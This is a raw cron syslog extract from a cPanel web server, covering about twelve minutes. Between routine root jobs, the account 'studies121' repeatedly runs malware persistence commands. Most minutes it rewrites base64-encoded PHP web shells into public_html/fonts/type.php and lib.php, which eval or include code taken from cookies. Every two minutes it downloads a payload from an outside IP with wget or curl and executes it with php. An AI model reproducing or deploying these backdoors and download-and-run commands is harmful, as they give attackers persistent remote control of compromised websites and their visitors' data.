Sep  2 02:21:01 ip-184-168-122-23 CROND[27398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:21:01 ip-184-168-122-23 CROND[27401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:21:01 ip-184-168-122-23 CROND[27399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:21:01 ip-184-168-122-23 CROND[27400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:22:01 ip-184-168-122-23 CROND[27479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:22:01 ip-184-168-122-23 CROND[27482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:22:01 ip-184-168-122-23 CROND[27481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:22:01 ip-184-168-122-23 CROND[27483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:22:01 ip-184-168-122-23 CROND[27484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:23:01 ip-184-168-122-23 CROND[27581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:23:01 ip-184-168-122-23 CROND[27584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:23:01 ip-184-168-122-23 CROND[27582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:23:01 ip-184-168-122-23 CROND[27585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:24:01 ip-184-168-122-23 CROND[27683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:24:01 ip-184-168-122-23 CROND[27685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:24:01 ip-184-168-122-23 CROND[27689]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  2 02:24:01 ip-184-168-122-23 CROND[27690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:24:01 ip-184-168-122-23 CROND[27688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:24:01 ip-184-168-122-23 CROND[27686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:25:01 ip-184-168-122-23 CROND[27820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:25:01 ip-184-168-122-23 CROND[27821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:25:01 ip-184-168-122-23 CROND[27822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:25:01 ip-184-168-122-23 CROND[27825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:25:01 ip-184-168-122-23 CROND[27826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:25:01 ip-184-168-122-23 CROND[27828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:25:01 ip-184-168-122-23 CROND[27829]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 02:26:01 ip-184-168-122-23 CROND[28009]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  2 02:26:01 ip-184-168-122-23 CROND[28010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:26:01 ip-184-168-122-23 CROND[28011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:26:01 ip-184-168-122-23 CROND[28012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:26:01 ip-184-168-122-23 CROND[28017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:26:01 ip-184-168-122-23 CROND[28021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  2 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  2 02:27:01 ip-184-168-122-23 CROND[28431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:27:01 ip-184-168-122-23 CROND[28432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:27:01 ip-184-168-122-23 CROND[28433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:27:01 ip-184-168-122-23 CROND[28434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:28:01 ip-184-168-122-23 CROND[28525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:28:01 ip-184-168-122-23 CROND[28526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:28:01 ip-184-168-122-23 CROND[28528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:28:01 ip-184-168-122-23 CROND[28529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:28:01 ip-184-168-122-23 CROND[28531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:29:01 ip-184-168-122-23 CROND[28643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:29:01 ip-184-168-122-23 CROND[28647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:29:01 ip-184-168-122-23 CROND[28646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:29:01 ip-184-168-122-23 CROND[28648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:30:01 ip-184-168-122-23 CROND[28748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:30:01 ip-184-168-122-23 CROND[28746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:30:01 ip-184-168-122-23 CROND[28747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:30:01 ip-184-168-122-23 CROND[28749]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:30:01 ip-184-168-122-23 CROND[28750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:30:01 ip-184-168-122-23 CROND[28753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:30:01 ip-184-168-122-23 CROND[28751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:30:01 ip-184-168-122-23 CROND[28752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:31:01 ip-184-168-122-23 CROND[28865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:31:01 ip-184-168-122-23 CROND[28870]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:31:01 ip-184-168-122-23 CROND[28868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:31:01 ip-184-168-122-23 CROND[28869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:31:01 ip-184-168-122-23 CROND[28872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:32:01 ip-184-168-122-23 CROND[28955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:32:01 ip-184-168-122-23 CROND[28956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:32:01 ip-184-168-122-23 CROND[28959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:32:01 ip-184-168-122-23 CROND[28961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:32:01 ip-184-168-122-23 CROND[28962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:33:01 ip-184-168-122-23 CROND[29139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
